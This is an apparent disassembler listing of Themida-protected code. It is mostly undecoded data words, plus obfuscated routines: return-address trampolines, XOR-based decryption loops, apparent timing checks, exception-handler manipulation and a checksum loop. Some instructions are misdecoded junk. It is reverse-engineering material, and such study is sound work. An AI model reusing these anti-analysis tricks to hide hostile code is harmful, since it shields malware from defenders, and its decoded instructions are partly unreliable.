11E9F860h, 0E8000000h, 0CA7BBF89h, 327EB85Dh dd 6F9C6FADh, 26034DB5h, 6AD98C66h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 10CFC355h dd 0C9BD8B31h, 0F061521h, 84h, 4E18000h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0AAC35343h, 7B8B8C29h dd 3BBDE76h, 0A3EEE8Dh, 12840FC9h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 1061C352h, 858B14F3h, 615249Dh, 0AA1ADB81h, 7E93699h dd 0E1000000h, 2EDB20C3h, 85339611h, 61519B5h, 81FAB70Fh dd 906C9EBh, 52505034h, 5B565250h, 0EAB7310Fh, 310F585Ah dd 489585Ah, 68A0F24h, 81000000h, 2DB1D0E3h, 6AF818h, 158A0Fh dd 10E90000h, 0F3000000h, 3BB7F581h, 2A9CBC7Ah, 0EFE802D6h dd 68B4735Eh, 7B40FD3Ch, 0E9525060h, 9, 0C210EA88h, 0F93DC087h dd 0BB310FCDh, 366F3668h, 5250585Ah, 9E8h, 0E1C98A00h dd 9DAEEE08h, 0F5A802Ch, 9216BB31h, 585A379Ah, 24348161h dd 7B5FFEC3h, 953DB81h, 95FF64C9h, 6150DADh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0AEC35040h, 374E550Dh dd 0AC3641FDh, 8589F88Bh, 618BF99h, 6830Fh, 0BD8B0000h dd 6151849h, 18FE9h, 95BB6600h, 91858B0Fh, 890618BFh, 1509E995h dd 1800C706h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0C232C350h, 860F8161h dd 6, 12BDB589h, 0B58B0615h, 618BF95h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 55C35141h, 0A4EC67A2h, 8B9D39F7h dd 1525919Dh, 45858B06h, 8906150Ch, 15104195h, 81068906h dd 9CA8BCF3h, 9D858B4Fh, 0B061524h, 152CAD9Dh, 4468906h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A0C35343h dd 24E36291h, 6D7E2DCDh, 0B58960CAh, 615257Dh, 746B966h dd 8B665061h, 243489DEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0FFC35141h, 219D8BD5h, 0FF061510h, 18BF91B5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 852956B8h, 61517A9h, 4CEAD068h, 81FB8BF0h dd 192F2404h, 6A0FD2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 7043F0C3h, 8B661BB8h, 99858DDFh dd 810618BFh, 0F45089CFh, 8B665043h, 240489FAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 0FC1B7C2Fh dd 0D553BF66h, 86D9D8Bh, 95FF0615h, 6150DADh, 0E1E1BB66h dd 81666061h, 61F4DAD9h, 111585C7h, 30615h, 0BF0F0000h dd 99BD83FAh, 618BFh, 35840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 44BC02C3h dd 87A78BD8h, 9D8B8EAFh, 6150669h, 21E9h, 8F0F00h, 50000000h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h ; --------------------------------------------------------------------------- jmp short loc_5BF750 ; --------------------------------------------------------------------------- loc_5BF71A: ; CODE XREF: Themida_:005BF2FAj ; Themida_:005BF731j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5BF71A jmp short loc_5BF750 ; --------------------------------------------------------------------------- loc_5BF735: ; CODE XREF: Themida_:005BF74Cj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5BF735 jmp short $+2 loc_5BF750: ; CODE XREF: Themida_:005BF718j ; Themida_:005BF733j mov eax, eax jmp loc_5BF75E ; --------------------------------------------------------------------------- jns short loc_5BF7B4 mov al, ds:79DF8355h loc_5BF75E: ; CODE XREF: Themida_:005BF752j movzx edi, di or [ebp+6150101h], edi cmp dword ptr [ebp+6151115h], 3 jnz loc_5BFBD0 push 0 push edx call sub_5BF77F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF77F proc near ; CODE XREF: Themida_:005BF777p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5BF77F endp ; --------------------------------------------------------------------------- db 4 dd 72300E7Dh, 9D238626h, 6150CEDh, 0BF99BD83h, 0F000618h dd 42784h, 0AE900h, 75340000h, 0B64C171Bh ; --------------------------------------------------------------------------- loc_5BF7B4: ; CODE XREF: Themida_:005BF757j adc [esi-474A4CFh], bh push dword ptr [ebp+618BF99h] or ebx, 1BCFDC01h call dword ptr [ebp+61510E1h] mov [ebp+61505B9h], ecx jmp loc_5BF7DE ; --------------------------------------------------------------------------- db 0E5h dd 1E4A8804h db 0C9h, 3Dh ; --------------------------------------------------------------------------- loc_5BF7DE: ; CODE XREF: Themida_:005BF7D2j mov esi, [ebp+618BF8Dh] push 0 push edi call sub_5BF7EF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BF7EF proc near ; CODE XREF: Themida_:005BF7E7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5BF7EF endp ; --------------------------------------------------------------------------- jle short near ptr dword_5BF834 call fword ptr [ebp+0DD1B589h] adc eax, 106C706h add [ecx], al add [ebx+1524B1BDh], cl push es call near ptr loc_5BF81D+3 pop ebx sbb [esi], bl loc_5BF81D: ; CODE XREF: Themida_:005BF815p pminub mm0, qword ptr [ebx+0BE8h] add [ebx+592AC196h], al sahf lodsb retf 0AE58h ; --------------------------------------------------------------------------- db 67h dd 840Fh dword_5BF834 dd 5B5B0000h, 5E850h, 222A0000h, 0E934C727h, 5, 891A4352h ; CODE XREF: Themida_:005BF7FFj dd 34895FF9h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0CC0F2077h, 0C0D843D8h, 0F59D8924h dd 8906150Fh, 1502D5B5h, 0FFD88A06h, 18BF99B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 254E891h, 633D326Eh, 11FBBF3Bh, 95FF6DBDh, 61506A1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0D7C35646h dd 231420F6h, 6671D46Bh, 8B9907BBh, 18BF8DB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 3B33FA33h, 0BFE2ACF6h, 7D9BD8Bh, 858B0615h, 6150059h dd 8689FBB3h, 0C4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0CEC35646h, 4D9D8BF8h, 8B061517h, 15272195h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 45C7AE78h, 0D9BF0F59h, 2904C283h, 1508B99Dh dd 20508906h, 0D458858Dh, 0BB660618h, 8689394Bh, 0B8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 53C35141h dd 1D8D896Dh, 29061500h, 15022D8Dh, 89006A06h, 1518419Dh dd 99B5FF06h, 6A0618BFh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 4632C352h, 95FFFE11h dd 6151D4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 97C35343h, 119474DDh, 11EF81DCh, 603F50E5h, 6D18D23h dd 0BD8B0615h, 6152EA1h, 0DE85061h, 0BE000000h, 68354A59h dd 0B6CCED09h, 9EC76190h, 11E860h, 20DE0000h, 951F952Ch dd 0B9C48100h, 6C9FBF4Dh, 5E6C2A72h, 5E8h, 27843000h, 61594B49h dd 2434895Fh, 0FFD9B70Fh, 18BF99B5h, 0F8BB6606h, 2995FFB2h dd 6A061507h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 4EA1C351h, 13E80Bh, 90160000h dd 0C7E8AA01h, 9A57912Fh, 1C2B3264h, 71D24058h, 835FF88Fh dd 150065BDh, 840F0006h, 35h, 2ACD9589h, 60500615h, 5B5B5756h dd 8961EA8Ah, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 90DE5CC3h, 0B46B4319h, 99B5FFC2h dd 660618BFh, 95FFDA8Bh, 6150439h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 1C35040h, 81C06173h, 4A01A6EFh dd 0DA8B6650h, 0BF99B5FFh, 6A0618h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E6505DC3h dd 7BC2B4BFh, 2DBD8B77h, 0FF061517h, 150DCD95h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8D290596h, 6151D81h, 285DBD83h, 0F020615h, 4884h, 800FF900h dd 15h, 0AE960h, 4EB0000h, 864532C6h, 9BB535C9h, 8F86B866h dd 49858B61h, 6A061528h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 6698C355h, 0A80FD781h dd 8B0000C6h, 0F585C7F8h, 61523h, 66000000h, 0BF6FC781h ; --------------------------------------------------------------------------- loc_5BFBD0: ; CODE XREF: Themida_:005BF76Ej jmp loc_5BEFA9 ; --------------------------------------------------------------------------- mov bl, 18h mov eax, ecx push 0 push ebp call sub_5BFBE4 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFBE4 proc near ; CODE XREF: Themida_:005BFBDCp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5BFBE4 endp ; --------------------------------------------------------------------------- pop edi and byte ptr [ebp+6850Fh], 0 add [ebx+15191D9Dh], cl push es loc_5BFC03: ; DATA XREF: Themida_:0057AD70o lea eax, [ebp+615279Dh] push 0 push ebx call sub_5BFC14 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFC14 proc near ; CODE XREF: Themida_:005BFC0Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5BFC14 endp ; --------------------------------------------------------------------------- dd 0AC1F646h, 2D563C15h, 90FABF0Fh, 0C2B35250h, 71BF310Fh dd 5A048C6Dh, 0E9605058h, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h dd 0B660726Bh, 61616005h, 95899061h, 6152D8Dh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 4055B7C3h, 821B3A29h, 9B42709h, 15059185h, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 77E9C353h, 63F2858Dh, 81660619h, 83CE24C7h dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0B189C2C3h, 61F9D97Dh, 66525090h, 310FDF8Bh dd 3800Fh, 8B660000h, 50585AFEh, 6A901EB7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F57BC356h dd 1381BD8Bh, 6AFC0615h, 45B50900h, 6A061509h, 7995FF00h dd 8B061526h, 152DF19Dh, 158D8D06h, 6A06189Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 0B5BBC350h, 99FF4FC1h, 0D2D984F2h, 0BE9D1FFh, 0BE000000h dd 90D3676Fh, 0C1385824h, 0BD83B874h, 6152DB5h, 0AA850F01h dd 89000000h, 1512F1B5h, 0D3E78006h, 6A026Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 27FD55C3h dd 0E1B35028h, 5998509h, 50500615h, 8E85052h, 0EB000000h dd 8204670Ah, 5B62880Ch, 66310F5Fh, 5A1981BFh, 24048958h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7BC35242h dd 9E956524h, 4D95FFF0h, 6A06151Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0AD11C351h dd 494ECF8Ch, 0B70FF5BCh, 68E0FF8h, 89000000h, 15156D85h dd 0DADE906h, 0E80000h, 5D000000h, 63FCED81h, 6A0619h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0ED8976C3h, 0BD8B644Ch, 61502CDh, 3089BD8Bh, 6A0615h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0C15688C3h, 8F60FEAh, 0F9858DF8h, 6A061888h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 8AE2C352h, 0D6D5EA07h, 9501BE1Bh, 6150305h, 58E0F90h dd 0BB000000h, 7100125Ah, 0F88B6650h, 35FF6490h, 0 ; --------------------------------------------------------------------------- mov ebx, [ebp+6151D11h] mov large fs:0, esp mov [ebp+61502A5h], edi mov bx, cx inc dword ptr [ebp+6151535h] mov ebx, 575AC7E3h push 0FFFFFFFFh push 0 push ebx call sub_5BFEF6 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFEF6 proc near ; CODE XREF: Themida_:005BFEEEp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5BFEF6 endp ; --------------------------------------------------------------------------- mov edi, 0FFC28017h mov ch, 0Dh db 2Eh adc eax, 57006A06h call sub_5BFF1B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BFF1B proc near ; CODE XREF: Themida_:005BFF13p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5BFF1B endp ; --------------------------------------------------------------------------- db 38h dd 2951D825h, 150AB1B5h, 95FF5B06h, 61508BDh, 146E9h, 7E900h dd 426E0000h, 78817F7h, 900B0F8h, 1511258Dh, 5170E606h dd 2225BD89h, 0E45F0615h, 0A1BD8B71h, 3C061527h, 18830F61h dd 0F000001h, 8B0FC8B6h, 10h, 0BE9h, 0C3FFB900h, 20F1FBA6h dd 0CB3D0AF9h, 0EFD78166h, 6BA37h, 8B660000h, 7D8589DAh dd 8B061505h, 9919BBC1h, 0E8C1044Dh, 0F766FC04h, 10E8E2h dd 31A10000h, 34B337D4h, 868B697Bh, 18D86B27h, 0DE9E8F5h dd 50000000h, 6C70374Bh, 0CBDAC72Dh, 38333106h, 29C82B5Bh dd 150A9585h, 0B9BD8B06h, 8B061528h, 0EE9F8D1h, 60000000h dd 2781B589h, 9D890615h, 61502E5h, 8D858B61h, 0E9061527h dd 0Eh, 0D7E0F500h, 0F2963231h, 0DAB75ECBh, 0C0834B5Bh dd 0C19D8B07h, 8306150Fh, 9D0100C0h, 6153389h, 830FD03Bh dd 24h, 13850F60h, 0E9000000h, 0Eh, 5F54232Fh, 0A830C432h dd 2BB4D215h, 61FC2D4Eh, 3EE9h, 0DF8B6600h, 4E18D8Bh, 83F80615h dd 840F01E1h, 2Bh ; --------------------------------------------------------------------------- loc_5C005C: ; DATA XREF: ___:off_443E9Co jnz $+6 and dword ptr [ebp+61504E1h], 0FFFFFFFEh adc bx, 0FF3Fh mov [ebp+615278Dh], edx push ecx ja loc_5C0081 jl $+6 loc_5C0081: ; CODE XREF: Themida_:005C0075j pop edi jmp $+5 lea esi, [ebp+618F145h] push 0 push ebp call sub_5C0098 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0098 proc near ; CODE XREF: Themida_:005C0090p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5C0098 endp ; --------------------------------------------------------------------------- cmc mov eax, ds:0A84CD19Bh jmp loc_5C00C5 ; --------------------------------------------------------------------------- db 0FEh dd 752260E3h, 7EA38339h, 91A30C0Bh, 0D21D2F63h db 4Ch ; --------------------------------------------------------------------------- loc_5C00C5: ; CODE XREF: Themida_:005C00AEj push 0 sub [ebp+61510FDh], eax call dword ptr [ebp+6152E21h] sub edi, [ebp+6152665h] mov ecx, 882h adc edi, 3E5F7CFAh and ecx, 0FFFFFFFCh push 0 push ebx call sub_5C00F2 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C00F2 proc near ; CODE XREF: Themida_:005C00EAp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5C00F2 endp ; --------------------------------------------------------------------------- lds ecx, [edx+66031440h] mov edi, ecx cld push 0 push ebp call sub_5C0116 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0116 proc near ; CODE XREF: Themida_:005C010Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5C0116 endp ; --------------------------------------------------------------------------- push ecx db 2Eh movsx edi, si mov ebx, 662D1FD3h mov eax, 0 mov edi, [ebp+61511A5h] push esi call sub_5C014D cmc or eax, 0F55B4CAAh dec ecx mov esi, ecx adc cl, cl pop ecx ; =============== S U B R O U T I N E ======================================= sub_5C014D proc near ; CODE XREF: Themida_:005C013Cp cld pop edi pop ebx mov edx, 0 mov ebx, esi loc_5C0157: ; CODE XREF: sub_5C014D+14j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5C0157 mov edi, [ebp+61502C5h] push 0 push ebx call sub_5C0174 and [ebx-3Dh], bl sub_5C014D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5C0174 proc near ; CODE XREF: sub_5C014D+1Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5C0174 endp ; --------------------------------------------------------------------------- dd 8DBB81C1h, 8FAACED1h, 0FC98D89h, 880D0615h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 81A0C355h, 8D4758DFh, 21958B49h, 66061527h dd 0BDB2EF81h, 4CD8D8Bh, 0C7810615h, 3180CEE1h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 51B940C3h dd 0E87B0310h, 0Eh, 9B2838B9h, 7EA68CCEh, 38BCB610h, 0AE8CB55h dd 0C7000000h, 6D94D052h, 58686EB8h, 0B59529BCh, 5B061504h dd 9D85315Bh, 6A061518h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 4772C355h, 9C2721ABh dd 0BD835EA7h, 61518A9h, 4B840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0ED92C353h, 0D25209A7h, 0B5295F7Bh, 61503CDh, 0B8h dd 0B9BD8B00h, 8D06150Dh, 154F9E8Dh, 3860F06h, 80000000h dd 0E1FF31CFh, 9C9BD8Bh, 0BD830615h, 6151115h, 5F840F00h dd 56000004h, 5FDEBF0Fh, 1115BD83h, 0F010615h, 46884h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8E8BFFEh, 38000000h, 0A22B3882h, 0F08F7EDh dd 1883h, 12E800h, 0F5E50000h, 3C07BC33h, 80B9E1A8h, 5A65C314h dd 6AABFB2h, 9D335F5Fh, 61501DDh, 1115BD83h, 0F030615h dd 3D686h, 91BD8B00h, 6006151Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0DEC35747h, 0ACFA62DEh, 22F2B766h dd 8C66D98Ah, 0E18D89D9h, 80061526h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 11E8C2C3h dd 56000000h, 0FCE46AFDh, 8F5BDE29h, 494BB20Eh, 2C32F777h dd 68A0Fh, 95290000h, 61511D5h, 0FC90A5Fh, 10084h, 0FA8B6600h dd 249D858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0E24713C3h, 19B58533h, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 0E276E7C3h, 0DCA3E9F1h, 0BFA3DCEAh, 6268DC06h, 89D98A50h dd 8B662404h, 66006AF9h, 6851E3BFh, 9F7B96C6h, 5800Fh dd 47BF0000h, 817B31A3h, 6D392404h, 6A60A3h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9BFB40C3h dd 0FB683753h, 8AF74023h, 0AD95FFFEh, 6A06150Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0A995C355h, 13A4436h, 1526B585h, 99858906h, 0F0618BFh dd 1985h, 14E900h, 0D82D0000h, 730CBB7Ah, 0F1392302h, 0F70BF796h dd 3A598EE6h, 0A8E96AABh, 9000001h, 15098995h, 91858B06h dd 6A0618BFh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 293CC351h, 15168185h, 1800C706h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 5588C351h, 29B9C5Bh, 45C334BBh dd 7E9h, 9FB70900h, 14D235D4h, 95B58BF8h, 8B0618BFh, 1507559Dh dd 45858B06h, 6606150Ch, 8B75F5BBh, 152681BDh, 6A068906h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 7FBBC355h, 33C9BD0Bh, 0B5290615h, 6150C01h dd 249D858Bh, 0BD8B0615h, 6152219h, 6A044689h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0B50FC352h, 7723C0EDh, 2F819D89h, 0E8500615h, 12h, 0A55A167h dd 0F04DD021h, 0C69F1974h, 6BF89FEBh, 0F60DB0Bh, 82h, 10E800h dd 0DB7D0000h, 27E95DD5h, 2FCA9DD4h, 0E1800C9Ah, 61597D21h dd 2434895Fh, 0C686BB66h, 0BE7EF781h, 0B5FF7063h, 618BF91h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7DC35242h dd 0BE0BE099h, 0BF72F59Ah, 48633D0Dh, 38BF6660h, 0EF8166B8h dd 6861C225h, 0D3237BE2h, 5850Fh, 0C3BB0000h, 813F636Bh dd 881D2404h, 80602CFBh, 0BD89C9EDh, 6152AD5h, 99858D61h dd 310618BFh, 151411BDh, 840F5006h, 4, 6723BF66h, 8B240489h dd 1506E1BDh, 0AD95FF06h, 6106150Dh, 0BE956h, 0B0150000h dd 682C6585h, 0C3A44896h, 8B665BF5h, 1585C7DFh, 3061511h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 1CFCC353h, 5D53293Bh, 0AE85C47h dd 0C0000000h, 5E060EDBh, 6A35DCC4h, 20BB66ECh, 0BD835F5Ch dd 618BF99h, 50840F00h, 0E8000000h, 14h, 0C130933Fh, 0BA8B0DBCh dd 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0BE9h, 5E219000h dd 0F34F050Dh, 438CE125h, 3CE95Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 816676C3h dd 506222E3h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 50F28DC3h, 0BE409405h, 6AF9BF0Fh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0BA9CC355h, 870FF54Eh, 2, 0BD83F98Bh, 6151115h dd 0F5850F03h, 8B000003h, 150E119Dh, 8E906h, 81770000h dd 0C2B85191h, 0BD83099Fh, 618BF99h, 0D5840F00h, 0BF000003h dd 39B2CD9Dh, 0BF99B5FFh, 5E90618h, 0A4000000h, 76CC2D5Bh dd 10E195FFh, 0C7810615h, 46914E80h, 5E9h, 0BD81EB00h dd 0B58B7D02h, 618BF8Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0D5C35343h, 2432FF62h, 106C7h, 0B5890001h dd 6150CF5h, 0FB8B6696h, 6A9650h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 3AFD26C3h, 0C3B96297h dd 319D0138h, 8B061525h, 1514FDBDh, 99B5FF06h, 6A0618BFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0BF2FC355h, 32A40981h, 674E856Bh, 6A195FFh dd 9D890615h, 6150811h, 24599D29h, 0B58B0615h, 618BF8Dh dd 858BDE8Bh, 6150059h, 8689D98Ah, 0C4h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 3821E246h dd 0E94EC4C0h, 9, 98405E2Ah, 92A0E23Fh, 21958B0Ah, 83061527h dd 0F6004C2h, 18Bh, 0DE8F900h, 0EE000000h, 694F5B9Eh, 4BCC70D7h dd 6C376753h, 0DCC18166h, 89615FABh, 85892050h, 6152FF5h dd 0D458858Dh, 0B5890618h, 61512ADh, 0B88689h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 29AB0FC3h, 5157EE23h, 0B850FC6h, 0F000000h, 58Ch, 709EBB00h dd 6A50F9h, 0BF99B5FFh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 17A914C3h, 8E9h dd 22118200h, 0A73ECFFCh, 718D2940h, 0FF06150Dh, 151D4D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 333A91A8h, 68D0FFBh, 89000000h, 1508B995h dd 0D7816606h, 0B796EF30h, 0BF665077h, 33966BFBh, 152499BDh dd 99B5FF06h, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0B5CC355h, 0F9BF0F5Ah dd 48E38166h, 2995FFBBh, 6A061507h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 22ADC353h dd 61FCFC60h, 65BD83h, 0F000615h, 4484h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0D88A5008h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F5C7C352h, 1F5333BBh dd 99B5FF3Bh, 6A0618BFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 33CC351h, 1514B5BDh dd 958B6006h, 6152F81h, 2C71BD8Bh, 0FF610615h, 15043995h dd 28E0F06h, 8B000000h, 99B5FFF9h, 6A0618BFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 81CAC356h, 0B70F376Eh, 0CD95FFD8h, 6A06150Dh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0E9CAC350h, 2C7DB589h, 0BD830615h, 615285Dh, 52840F02h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 523C350h, 48FF7885h, 8BC18147h dd 15284985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 89957138h, 1511F99Dh, 0C606h, 0F585C7F9h dd 61523h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 21E3C350h, 0E2B44B2Fh, 48518137h dd 0FFF344E9h, 6AC18BFFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0F7DBC350h, 0C3AB99B6h dd 2150EEB2h, 18F58589h ; --------------------------------------------------------------------------- loc_5C0BD0: ; DATA XREF: Themida_:0057C30Co ; Themida_:0057C910o adc eax, 858DF906h popf daa adc eax, 52006A06h call sub_5C0BE4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C0BE4 proc near ; CODE XREF: Themida_:005C0BDCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5C0BE4 endp ; --------------------------------------------------------------------------- dd 2850F51h, 8A000000h, 525050FCh, 6E8h, 8E492000h, 5BF4917Ah dd 0FC8A310Fh, 489585Ah, 0BD335324h, 61510EDh, 6A006A5Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0B7A1C356h, 20E5D647h, 14F99D8Bh, 0EB800615h dd 0B7006A60h, 0B858D51h, 6A061974h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F0AC353h dd 